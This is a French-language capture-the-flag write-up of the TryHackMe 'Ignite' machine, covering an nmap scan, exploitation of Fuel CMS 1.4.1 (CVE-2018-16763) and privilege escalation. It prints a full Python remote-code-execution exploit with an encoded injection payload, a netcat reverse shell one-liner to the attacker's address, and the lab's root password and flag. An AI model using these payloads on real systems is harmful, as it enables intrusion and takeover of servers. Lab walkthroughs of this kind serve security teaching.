Salut chers amis passionnés du hacking, nous continuons notre voyage avec une fois de plus l’une des machines de Tryhackme. Nous aurons à faire cette fois-ci à la machine Ignite. Au menu nous aurons du scan avec nmap, la recherche d’un exploit pour un cms, et l’utilisation d’un script python pour l’obtention d’un shell.
Ignite est une machine de niveau facile de tryhackme. Pour la résolution, de ce challenge il nous faudra trouver deux flag, un flag pour un utilisateur et un autre pour le root.
Ignite – Reconnaissance
Une fois la machine démarrée, nous attendons quelques minutes et nous obtenons l’adresse Ip avec lequel on pourra faire le scan. Nous allons utiliser Nmap pour le faire le scan des ports. Cette commande nmap -sV -A 10.10.1.237
nous permet de faire le scan .Voici le résultat du scan :

D’après le scan seul le port 80 pour l’http est ouvert.
Ignite – Énumération
Nous entrons ensuite l’adresse ip dans le navigateur et nous avons le résultat suivant.

Une petite recherche sur google nous permet de voir qu’il y a un exploit qui nous permet
d’exécuter des codes à code distance (remote exploitation) sur exploit-db.

Exploit-database, est une archive des exploits publics et des logiciels vulnérables correspondants. Vous pourrez accéder à cette base de donné ici.

Ignite – Exploitation
Pour la phase d’exploitation, nous avons utilisé le CVE-2018-16763 qui a comme nom fuel CMS 1.4.1 – Remote code Execution (1). Nous avons personnalisé le script en ajoutant l’adresse ip de la machine URL = "http://10.10.1.237/"
. Voici à quoi ressemble le script
import requests
import urllib
url = "http://10.10.1.237/"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = raw_input('cmd:')
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
proxy = {"http":"http://127.0.0.1:8080"}
r = requests.get(burp0_url, proxies=proxy)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print r.text[0:dup]
Après exécution du script, nous obtenons ainsi un shell qui va nous permettre l’execution de commandes.

Puisque nous avons le RCE maintenant, nous pouvons facilement obtenir un reverse shell en l’utilisant. Nous personnalisons la commande en ajoutant notre adresse ip dans la commande suivante :
cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.9.70 4444 >/tmp/f"
Cela nous donnera un reverse shell sur notre machine écoutée sur le port 4444 via
nc -lvp 4444
Ce qui nous permet d’avoir le flag d’un user.

Ignite – Escalade de privilège
Un peu plus sur la page d’accueil nous un lien qui nous a particulièrement intéressés. C’est le lien vers le fichier de configuration de la base de donné fuel/application/config/database.php
.

En affichant ce fichier nous avons eu le mot de passe de l’utilisateur root qui est mememe.

Nous nous connectons au compte et ensuite nous obtenons le flag du root.
www-data@ubuntu:/home/www-data$ su root
su root
Password: mememe
root@ubuntu:/home/www-data# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt
root@ubuntu:~# cat root.txt
cat root.txt
b9bbcb33e11b80be759c4e844862482d
root@ubuntu:~#
Conclusion
Pour cet article nous avons découvert un moyen pour rechercher les exploits d’un logiciel vulnérable et comment l’exploiter avec la version 1.4 de fuel cms. Ceci vous permettra de vérifier s’il existe un exploit pour les applications que vous utilisez et de prendre vos dispositions.
J’espère que cet article vous sera utile et vous dis donc à bientôt pour encore plus de tuto hacking.